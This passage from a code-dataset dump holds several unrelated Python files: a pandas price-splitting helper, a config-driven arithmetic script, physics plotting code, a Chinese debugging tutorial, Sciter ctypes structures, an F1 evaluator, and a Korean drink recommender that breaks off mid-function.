pd.merge(mix_price_list, price_data, how=\"outer\")\n\n for reference_data in reference_data_list:\n if mix_reference_list.empty:\n mix_reference_list = reference_data\n else:\n mix_reference_list = pd.merge(mix_reference_list, reference_data, how=\"outer\")\n\n # mix_price_list.columns = price_columns\n # mix_reference_list.columns = reference_columns\n return mix_price_list, mix_reference_list\n\n else:\n return mix_price_list, mix_reference_list\n\n def split_price(self, shop_name_abbr, gap_price=2, compare=\">\", plus_limit=None, minus_limit=-8, query_code=None):\n # price columns = [\"id\",\"site\",\"isbn\", \"product_id\",\"variant_id\",\"sku\",\"basic_price\",\"price_note\",\"crawl_time\"]\n # reference columns = [\"product_id\", \"variant_id\", \"sku\", \"condition_isbn\", \"old_price\", \"quantity\", \"filter\"]\n price_list, reference = self._filter_merge_files(shop_name_abbr)\n price_list[[\"product_id\", \"variant_id\"]] = price_list[[\"product_id\", \"variant_id\"]].astype(str)\n reference[[\"product_id\", \"variant_id\"]] = reference[[\"product_id\", \"variant_id\"]].astype(str)\n store_grouped = price_list.groupby(by=\"site\")\n price_list_num = price_list.shape[0]\n reference_num = reference.shape[0]\n print(\"Price / Reference : {} / {}\".format(price_list_num, reference_num))\n #sys.exit()\n mix_price_list = pd.DataFrame()\n for site, price_info in store_grouped:\n if not self.site_to_store_dict or not self.site_to_store_dict.get(site):\n store_name = site\n else:\n store_name = self.site_to_store_dict.get(site)\n\n if store_name == shop_name_abbr:\n\n price_detail = price_info.loc[:, [\"product_id\", \"variant_id\", \"basic_price\"]]\n\n # no price info\n zero_price = price_detail[price_detail.loc[:, 'basic_price'] == 0]\n null_price = price_detail.loc[price_detail['basic_price'].isnull(), :]\n null_zero_list = pd.merge(zero_price, null_price, how=\"outer\")\n\n # normal price data\n price_detail = price_detail.dropna(subset=['basic_price'])\n price_detail.loc[:, 'new_price'] = pd.Series((get_sale_price(store_name, x)\n for x in price_detail['basic_price']), index=price_detail.index)\n\n # old price info\n reference_price = reference.loc[:, [\"product_id\", \"variant_id\", \"old_price\", \"quantity\"]]\n merged_null_zero_price = pd.merge(null_zero_list, reference_price, how=\"left\", on=[\"product_id\", \"variant_id\"])\n merged_price_detail = pd.merge(price_detail, reference_price, how=\"left\",\n on=[\"product_id\", \"variant_id\"])\n\n # deal with old price missing data - no inventory info\n merged_null_zero_price = price_special_case_manager(merged_null_zero_price, \"OldPriceMissing\")\n init_size = merged_null_zero_price.shape[0]\n merged_price_detail = price_special_case_manager(merged_price_detail, \"OldPriceMissing\", init_size)\n\n # filter null zero data to decrease update number by quantity\n merged_null_zero_price = merged_null_zero_price[merged_null_zero_price[\"quantity\"] > 0]\n\n # deal normal price data---create \"gas_price\" to filter and reset columns\n merged_price_detail.loc[:, \"gap_price\"] = merged_price_detail[\"new_price\"] - merged_price_detail[\"old_price\"]\n export_null_price = merged_null_zero_price.loc[:, [\"product_id\", \"variant_id\", \"basic_price\", \"old_price\"]]\n export_null_price.rename(columns={'old_price': 'sort_value'}, inplace=True)\n export_price_detail = merged_price_detail.loc[:, [\"product_id\", \"variant_id\", \"basic_price\", \"gap_price\", \"quantity\"]]\n\n # filter and split normal data to get \"filtered price data\" & \"out-of-filter price data-minus gap price\"\n export_price_detail, minus_gap_price_list = filter_price_data(export_price_detail, gap_price, compare,\n plus_limit, minus_limit, query_code)\n if not minus_gap_price_list.empty:\n # merge price data to satisfy max-update-number\n merged_data = (export_price_detail, minus_gap_price_list)\n init_size = export_price_detail.shape[0] + export_null_price.shape[0]\n case = \"AddMinusPrice\"\n export_price_detail = price_special_case_manager(merged_data, case, init_size)\n\n export_price_detail.rename(columns={'gap_price': 'sort_value'}, inplace=True)\n if not os.path.exists(self.local_price_dir):\n os.makedirs(self.local_price_dir)\n mix_price_list = pd.merge(export_null_price, export_price_detail, how=\"outer\")\n mix_price_list = mix_price_list.drop_duplicates()\n save_file_path = os.path.join(self.local_price_dir, self.price_save_name)\n mix_price_list.to_csv(save_file_path, sep=\"\\t\", index=False)\n null_price_size = null_price.shape[0]\n zero_price_size = zero_price.shape[0]\n normal_price_size = merged_price_detail.shape[0]\n print(\"NULL/ZERO/NORMAL: {} / {} / {}\".format(null_price_size, zero_price_size, normal_price_size))\n break\n return mix_price_list\n\n", "sub_path": "remote_download/price_split_helper.py", "file_name": "price_split_helper.py", "file_ext": "py", "file_size_in_byte": 8825, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "time.strftime", "line_number": 14, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "config.configuration.init_files_manager", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 33, "usage_type": "call"}, {"api_name": "re.search", "line_number": 36, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 56, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 61, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 63, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 71, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 77, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 97, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 111, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 115, "usage_type": "call"}, {"api_name": "config.configuration.get_sale_price", "line_number": 115, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 120, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 121, "usage_type": "call"}, {"api_name": "config.configuration.price_special_case_manager", "line_number": 125, "usage_type": "call"}, {"api_name": "config.configuration.price_special_case_manager", "line_number": 127, "usage_type": "call"}, {"api_name": "config.configuration.filter_price_data", "line_number": 139, "usage_type": "call"}, {"api_name": "config.configuration.price_special_case_manager", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path", "line_number": 149, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 150, "usage_type": "call"}, {"api_name": "pandas.merge", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path", "line_number": 153, "usage_type": "attribute"}]} +{"seq_id": "77735257", "text": "import argparse\nimport configparser\nimport sys\nimport yaml\nfrom datetime import datetime\n\ndef add_numbers(number, other_number, output):\n result = number * other_number\n print(f'[{datetime.utcnow().isoformat()}] The result is {result}', file=output)\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(formatter_class=argparse.rgumentDefaultsHelpFormatter)\n\n parser.add_argument('--config', '-c', type=argparse.FileType('r'), help='config file', default='/etc/automate.ini')\n # Added Argument Parsing Functionality\n parser.add_argument('-o', dest='output', type=argparse.FileType('w'), help='output file', default=sys.stdout)\n\n args = parser.parse_args()\n\n if args.config:\n config = configparser.ConfigParser()\n config.read_file(args.config)\n # Transforming values into integers\n args.n1 = int(config['ARGUMENTS']['n1'])\n args.n2 = int(config['ARGUMENTS']['n2'])\n\n add_numbers(args.n1, args.n2, args.output)\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 981, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "datetime.datetime.utcnow", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 9, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "argparse.rgumentDefaultsHelpFormatter", "line_number": 13, "usage_type": "attribute"}, {"api_name": "argparse.FileType", "line_number": 15, "usage_type": "call"}, {"api_name": "argparse.FileType", "line_number": 17, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 17, "usage_type": "attribute"}, {"api_name": "configparser.ConfigParser", "line_number": 22, "usage_type": "call"}]} +{"seq_id": "157108390", "text": "import numpy\nimport h5py\nimport os, sys\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nfrom matplotlib.collections import PatchCollection\nimport argparse\nimport glob\nfrom handle_data import CutMask\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\", \"--input_file\",default=None,\n type=str,dest=\"input_files\", help=\"names for input file\")\nparser.add_argument(\"-d\", \"--path\",type=str,default='/mnt/scratch/micall12/training_files/',\n dest=\"path\", help=\"path to input files\")\nparser.add_argument(\"-o\", \"--outdir\",type=str,default='/mnt/home/micall12/LowEnergyNeuralNetwork/output_plots/',\n dest=\"outdir\", help=\"out directory for plots\")\nparser.add_argument(\"-n\", \"--name\",default=None,\n dest=\"name\", help=\"name for output folder\")\nparser.add_argument(\"--large_charge\",type=float,default=40.,\n dest=\"large_charge\", help=\"Max charge to distinguish for statistics\")\nparser.add_argument(\"--large_numpulses\",type=int,default=20,\n dest=\"large_numpulses\", help=\"Max number of pulses to distinguish for statistics\")\nparser.add_argument(\"--emax\",type=float,default=100.0,\n dest=\"emax\",help=\"Cut anything greater than this energy (in GeV)\")\nparser.add_argument(\"--emin\",type=float,default=5.0,\n dest=\"emin\",help=\"Cut anything less than this energy (in GeV)\")\nparser.add_argument(\"-c\", \"--cuts\",type=str, default=\"CC\",\n dest=\"cuts\", help=\"Type of events to keep (all, cascade, track, CC, NC, etc.)\")\nargs = parser.parse_args()\n\n\ninput_file = args.path + args.input_files\n\noutput_path = args.outdir\nname = args.name\noutdir = output_path + name\nif os.path.isdir(outdir) != True:\n os.mkdir(outdir)\nprint(\"Saving plots to %s\"%outdir)\n \n\nlarge_number_pulses = args.large_numpulses\nlarge_charge = args.large_charge\nenergy_min = args.emin\nenergy_max = args.emax\ncut_name = args.cuts\n\ncheck_charge = True\ncheck_numpulses = True\n\n### Import Files ###\nf = h5py.File(input_file, 'r')\nlabels = f['labels'][:]\nstats = f['initial_stats'][:]\nnum_pulses = f['num_pulses_per_dom'][:]\ntry:\n trig_time = f['trigger_times'][:]\nexcept:\n trig_time = None\nf.close()\ndel f\n\n# Apply Cuts\nmask = CutMask(labels)\ncut_energy = numpy.logical_and(labels[:,0] > energy_min, labels[:,0] < energy_max)\nall_cuts = numpy.logical_and(mask[cut_name], cut_energy)\nlabels = labels[all_cuts]\nstats = stats[all_cuts]\nnum_pulses = num_pulses[all_cuts]\ntrig_time = trig_time[all_cuts]\n\n## WHAT EACH ARRAY CONTAINS! ##\n# reco: (energy, zenith, azimuth, time, x, y, z) \n# stats: (count_outside, charge_outside, count_inside, charge_inside) \n# num_pulses: [ string num, dom index, num pulses]\n# trig_time: [DC_trigger_time]\n\nnum_events = stats.shape[0]\nprint(\"Checking %i events\"%num_events)\n\n# Charge outside vs inside\nif check_charge:\n count_outside = stats[:,0]\n charge_outside = stats[:,1]\n count_inside = stats[:,2]\n charge_inside = stats[:,3]\n fraction_count_inside = count_inside/(count_outside + count_inside)\n fraction_charge_inside = charge_inside/(charge_outside + charge_inside)\n mask_large_charge = charge_inside > large_charge\n fraction_large_charge = sum(charge_inside[mask_large_charge])/sum(charge_inside)\n print(\"Median of counts inside is %f with median total charge inside is %f, in the subset of chosen strings over all events\"%(numpy.median(fraction_count_inside),numpy.median(fraction_charge_inside)))\n print(\"PERCENTAGE of charge that is greater than %i inside subset of strings over all events: %f percent\"%(large_charge,fraction_large_charge*100))\n\n plt.figure()\n plt.title(\"Fraction of # pulses inside subset strings\")\n plt.hist(fraction_count_inside,bins=50,alpha=0.5);\n plt.xlabel(\"# pulses inside subset strings / total # pulses in event\")\n plt.savefig(\"%s/FractionPulsesInside.png\"%outdir)\n\n plt.figure()\n plt.title(\"Fraction of charge inside subset strings\")\n plt.hist(fraction_charge_inside,bins=50,alpha=0.5);\n plt.xlabel(\"charge recorded inside subset strings / total charge recorded in event\")\n plt.savefig(\"%s/FractionChargeInside.png\"%outdir)\n\n# Number of pulses on all DOMS\nif check_numpulses:\n num_pulses_all = num_pulses[:,:,:,0].flatten()\n large_mask = num_pulses_all > large_number_pulses\n large_num = sum(num_pulses_all[large_mask])\n fraction_large = large_num/len(num_pulses_all)\n print(\"PERCENTAGE of DOMS that see more pulses than %i over all events: %f percent\"%(large_number_pulses,fraction_large*100))\n\n gt0 = num_pulses_all > 0\n plt.figure()\n plt.title(\"Number of pulses > 0 on ALL DOMS for ALL events\")\n plt.hist(num_pulses_all[gt0],bins=50,alpha=0.5);\n plt.xlabel(\"# pulses per dom\")\n plt.yscale('log')\n plt.savefig(\"%s/NumberPulsesAllDOMS.png\"%outdir)\n\n plt.figure()\n for i in range(0,10):\n num_pulses_one_evt = num_pulses[i,:,:,0].flatten()\n gt0 = num_pulses_one_evt > 0\n plt.hist(num_pulses_one_evt[gt0],bins=5,alpha=0.5);\n plt.title(\"Number of pulses > 0 on ALL DOMS per 10 events\")\n plt.xlabel(\"# pulses per dom\")\n plt.yscale('log')\n plt.savefig(\"%s/NumberPulsesAllDOMS_10Events.png\"%outdir)\n\n", "sub_path": "check_charge_numberpulses.py", "file_name": "check_charge_numberpulses.py", "file_ext": "py", "file_size_in_byte": 5285, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "matplotlib.use", "line_number": 5, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 41, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 55, "usage_type": "call"}, {"api_name": "handle_data.CutMask", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 119, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yscale", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}]} +{"seq_id": "646931172", "text": "# 第一种方法简单直接粗暴有效，就是用print()把可能有问题的变量打印出来看看\n\n# 用print()最大的坏处是将来还得删掉它，想想程序里到处都是print()，\n# 运行结果也会包含很多垃圾信息。所以，我们又有第二种方法。\n\n\n# 断言\n\n# 凡是用print()来辅助查看的地方，都可以用断言（assert）来替代：\n\n\ndef foo(s):\n n = int(s)\n assert n != 0, 'n is zero!' # 如果断言失败，assert语句本身就会抛出AssertionError\n # AssertionError: n is zero!\n return 10 / n\n\n\ndef main():\n foo('0')\n\n# main()\n# 执行结果：\n# Traceback (most recent call last):\n# File \"D:/Swap/Code/PycharmProjects/LearnPython/error_debugging_testing/debug.py\", line 21, in \n# main()\n# File \"D:/Swap/Code/PycharmProjects/LearnPython/error_debugging_testing/debug.py\", line 19, in main\n# foo('0')\n# File \"D:/Swap/Code/PycharmProjects/LearnPython/error_debugging_testing/debug.py\", line 14, in foo\n# assert n != 0, 'n is zero!'\n# AssertionError: n is zero!\n\n# assert的意思是，表达式n != 0应该是True，否则，根据程序运行的逻辑，后面的代码肯定会出错。\n\n\n\n# 一键关闭断言\n\n# 启动Python解释器时可以用-O参数来关闭assert\n\n# python -O err.py\n\n# 关闭后，你可以把所有的assert语句当成pass来看。\n\n\n# logging\n\n# 把print()替换为logging是第3种方式，和assert比，logging不会抛出错误，而且可以输出到文件：\n\nimport logging\nlogging.basicConfig(level=logging.INFO) # logging 需要配置\n# llogging允许你指定记录信息的级别，\n# 有debug，info，warning，error等几个级别，\n# 当我们指定level=INFO时，logging.debug就不起作用了。\n# 同理，指定level=WARNING后，debug和info就不起作用了。\n# 这样一来，你可以放心地输出不同级别的信息，也不用删除，\n# 最后统一控制输出哪个级别的信息。\n\ns = '0'\nn = int(s)\nlogging.info('n = %d' % n) # INFO:root:n = 0\nprint(10 / n)\n\n\n# pdb\n\n# 第4种方式是启动Python的调试器pdb，让程序以单步方式运行，可以随时查看运行状态。我们先准备好程序：\n\n", "sub_path": "error_debugging_testing/debug.py", "file_name": "debug.py", "file_ext": "py", "file_size_in_byte": 2182, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logging.basicConfig", "line_number": 51, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 51, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 61, "usage_type": "call"}]} +{"seq_id": "303909996", "text": "u\"\"\"Message definitions to be passed to SciterProcX function.\n\n\"\"\"\nfrom __future__ import absolute_import\nimport enum\n\nfrom ctypes import Structure, Union, c_void_p\nfrom sciter.capi.sctypes import UINT, BOOL, HDC\nfrom sciter.capi.scdef import ELEMENT_BITMAP_RECEIVER\nfrom sciter.capi.scdom import HELEMENT\n\n\nclass SCITER_X_MSG_CODE(enum.IntEnum):\n u\"\"\"SCITER_X_MSG message/function identifier.\"\"\"\n SXM_CREATE = 0\n SXM_DESTROY = 1\n SXM_SIZE = 2\n SXM_PAINT = 3\n# end\n\n\nclass SCITER_X_MSG(Structure):\n u\"\"\"Common header of message structures passed to SciterProcX.\"\"\"\n _fields_ = [\n (u\"msg\", UINT), # SCITER_X_MSG_CODE\n ]\n\n\nclass SCITER_X_MSG_CREATE(Structure):\n u\"\"\"Create event passed to Sciter.\"\"\"\n _fields_ = [\n (u\"header\", SCITER_X_MSG),\n (u\"backend\", UINT),\n (u\"transparent\", BOOL),\n ]\n\n\nclass SCITER_X_MSG_DESTROY(Structure):\n u\"\"\"Destroy event passed to Sciter.\"\"\"\n _fields_ = [\n (u\"header\", SCITER_X_MSG),\n ]\n\n\nclass SCITER_X_MSG_SIZE(Structure):\n _fields_ = [\n (u\"header\", SCITER_X_MSG),\n (u\"width\", UINT),\n (u\"height\", UINT),\n ]\n\n\nclass SCITER_PAINT_TARGET_TYPE(enum.IntEnum):\n SPT_DEFAULT = 0 # default rendering target - window surface\n SPT_RECEIVER = 1 # target::receiver fields are valid\n SPT_DC = 2 # target::hdc is valid\n\n\nclass SCITER_X_MSG_PAINT_RECEIVER(Structure):\n _fields_ = [\n (u\"param\", c_void_p),\n (u\"callback\", ELEMENT_BITMAP_RECEIVER),\n ]\n\n\nclass SCITER_X_MSG_PAINT_TARGET(Union):\n _fields_ = [\n (u\"hdc\", HDC),\n (u\"receiver\", SCITER_X_MSG_PAINT_RECEIVER),\n ]\n\n\nclass SCITER_X_MSG_PAINT(Structure):\n _fields_ = [\n (u\"header\", SCITER_X_MSG),\n (u\"element\", HELEMENT), # layer #HELEMENT, can be NULL if whole tree (document) needs to be rendered.\n (u\"isFore\", BOOL), # if element is not null tells if that element is fore-layer.\n (u\"targetType\", UINT), # one of SCITER_PAINT_TARGET_TYPE values.\n (u\"target\", SCITER_X_MSG_PAINT_TARGET)\n ]\n", "sub_path": "sciter/capi/scmsg.py", "file_name": "scmsg.py", "file_ext": "py", "file_size_in_byte": 2103, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "enum.IntEnum", "line_number": 13, "usage_type": "attribute"}, {"api_name": "ctypes.Structure", "line_number": 22, "usage_type": "name"}, {"api_name": "sciter.capi.sctypes.UINT", "line_number": 25, "usage_type": "name"}, {"api_name": "ctypes.Structure", "line_number": 29, "usage_type": "name"}, {"api_name": "sciter.capi.sctypes.UINT", "line_number": 33, "usage_type": "name"}, {"api_name": "sciter.capi.sctypes.BOOL", "line_number": 34, "usage_type": "name"}, {"api_name": "ctypes.Structure", "line_number": 38, "usage_type": "name"}, {"api_name": "ctypes.Structure", "line_number": 45, "usage_type": "name"}, {"api_name": "sciter.capi.sctypes.UINT", "line_number": 48, "usage_type": "name"}, {"api_name": "sciter.capi.sctypes.UINT", "line_number": 49, "usage_type": "name"}, {"api_name": "enum.IntEnum", "line_number": 53, "usage_type": "attribute"}, {"api_name": "ctypes.Structure", "line_number": 59, "usage_type": "name"}, {"api_name": "ctypes.c_void_p", "line_number": 61, "usage_type": "name"}, {"api_name": "sciter.capi.scdef.ELEMENT_BITMAP_RECEIVER", "line_number": 62, "usage_type": "name"}, {"api_name": "ctypes.Union", "line_number": 66, "usage_type": "name"}, {"api_name": "sciter.capi.sctypes.HDC", "line_number": 68, "usage_type": "name"}, {"api_name": "ctypes.Structure", "line_number": 73, "usage_type": "name"}, {"api_name": "sciter.capi.scdom.HELEMENT", "line_number": 76, "usage_type": "name"}, {"api_name": "sciter.capi.sctypes.BOOL", "line_number": 77, "usage_type": "name"}, {"api_name": "sciter.capi.sctypes.UINT", "line_number": 78, "usage_type": "name"}]} +{"seq_id": "519702106", "text": "import json\nimport numpy\nimport csv\n\ndef load_json(path: str):\n '''读取json文件'''\n with open(path, 'r', encoding='utf-8') as f:\n data = json.load(f)\n return data\n\ndef cal_f1_score(preds, golds):\n \"\"\"样本级别的症状识别评价方式\"\"\"\n assert len(preds) == len(golds)\n p_sum = 0\n r_sum = 0\n hits = 0\n num = 0\n for pred, gold in zip(preds, golds):\n p_sum += len(pred)\n r_sum += len(gold)\n for k, v in pred.items():\n# if k in gold:\n if k in gold and v == gold[k]:\n hits += 1\n p = hits / p_sum if p_sum > 0 else 0\n r = hits / r_sum if r_sum > 0 else 0\n f1 = 2 * p * r / (p + r) if (p + r) > 0 else 0\n return p, r, f1\n\ndef eval(gold_data, pred_data):\n \"\"\"评估F1值\"\"\"\n assert len(gold_data) == len(pred_data)\n golds = []\n preds = []\n eids = list(gold_data.keys())\n for eid in eids:\n gold_type = gold_data[eid]\n pred_type = pred_data[eid]\n golds.append(gold_type)\n preds.append(pred_type)\n assert len(golds) == len(preds)\n _, _, f1 = cal_f1_score(preds, golds)\n print('Test F1 score {}%'.format(round(f1 * 100, 4)))\n\n# calculate f1\ngold_test = load_json('dev_label.json') \npred_test = load_json('dev_torch.json')\neval(gold_test, pred_test)\n", "sub_path": "call_f1.py", "file_name": "call_f1.py", "file_ext": "py", "file_size_in_byte": 1312, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "json.load", "line_number": 8, "usage_type": "call"}]} +{"seq_id": "128686090", "text": "import pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics.pairwise import cosine_similarity\n\n\ndef get_drink_dataframe():\n\n columnList = [\"출처지역\", \"종류\", \"도수(%)\", \"가격\", \"원재료\", \"단맛\", \"산미\", \"탁도\",\n \"탄산감\", \"담백\", \"바디\", \"씁쓸\", \"화려\", \"스파이시\", \"고소\", \"신맛\", \"타닌\", \"향\", \"설명\"]\n indexList = [\"1\", \"0\", '오매백주', '오산막걸리', '세종대왕어주 탁주', '술공방 9.0', '수제탁주 바랑', '백년향', '문희 가향주', '구름을 벗삼아', '문희 탁주', '오미자 생막걸리', '오희', '복순도가 손 막걸리', '담은', '펀치 쌀바나나', '세종 알밤주', '괴산 세종 찰옥수수', '조은술 세종 바나나', '우도 땅콩 전통주', '우리술 오늘 탁주', '기다림 34', '기다림 25', '기다림 16', '택이', '천비향 탁주', '술그리다 ', '술예쁘다', '술취한 원숭이', '삼양춘 생탁주', '토박이 한산소곡주', '삼양춘 청주', '복단지', '경성과하주', '세종대왕어주 약주', '구기홍주', '하타', '단상지교', '고흥 유자주', '수제 약주 별바랑', '삼양춘 생약주', '순향주', '우렁이쌀 청주', '술아 국화주', '맑은 문희주', '대윤가야곡 왕주', '니모메', '오메기술13 세트', '청명주 약주', '술아 순곡주', '우리술 오늘 약주', '술아 연화주', '술아 매화주', '솔송주', '천비향 약주', '살아있는 기운 한 모금! 홍삼명주', '감사', '면천두견주', '부자진', '꿀샘16', '독산53', '독산30', '신례명주',\n '진맥소주22', '진맥소주40', '진맥소주53', '귀감', '겨울소주', '설성사또', '병영소주', '문배술 헤리티지23', '문배술 헤리티지25', '문배술 헤리티지40', '안동소주', '설레온', '고소리술', '이도', '고구마증류주', '담솔', '고울달오크', '고울달백자', '문경바람백자', '문경바람오크', '화주', '추사40', '매실원주13', '서울의밤', '미르25', '미르40', '미르54', '술샘16', '오미로제연', '2016크라테산머루레드와인스위트', '혼다주', '요새로제', '더그런치', '스위마마', '댄싱파파', '마셔블랑', '젤코바프리미엄레드', '고도리프리미엄청수화이트', '젤코바스위트와인', '씨엘고도리와이너리화이트', '고도리복숭아와인', 'LESDOM 내추럴 스파클링 로제', 'LESDOM 로제시드르', 'LESDOM 시드르', '참뽕와인', '세인트하우스 아로니아와인', '세인트하우스 오미자와인', '세인트하우스 모과와인', '세인트하우스 가시오가피와인', '세인트하우스 딸기와인', '한스오차드 애플', '애피소드애플', '애피소드상그리아', '오미로제프리미엄와인', '허니비와인', '오미로제스파클링결', '허니문와인', '추사애플와인', '추사블루스위트']\n DrinkDf = pd.read_excel(\n \"술 데이터 분류.xlsx\", sheet_name=\"시트1\", header=None, index_col=1)\n DrinkDf.drop(columns=0, inplace=True)\n DrinkDf.index = indexList\n DrinkDf.columns = columnList\n DrinkDf.drop(index=[\"1\", \"0\"], inplace=True)\n DrinkDf.dropna(axis=1, inplace=True)\n return DrinkDf\n\n\ndef recommendation_drink_of_contents_based(keyword=\"\", stopword=[], top=6):\n # 실제 각행렬간 유사도 계산된것은 이미 DB에 있거나 pickle에 저장된상태\n # 새로운술이 들어오거나 기존의 술이 삭제되었을때에, 계산해둔다.\n\n drink_dataframe = get_drink_dataframe()\n\n # 사용자가 못먹는 원재료가 들어간 술은 추천에서 제외\n drink_dataframe.drop(index=[indexList[i+2] for i, item in enumerate(\n DrinkDf[\"원재료\"]) if len(list(set(stopword) & set(item.split(\",\")))) > 0], inplace=True)\n\n # 출처지역,종류,원재료를 제외한 숫자데이터에서 유사도 추출\n\n drink_dataframe_without_literal = drink_dataframe.drop(\n columns=[\"출처지역\", \"종류\", \"원재료\"])\n\n # 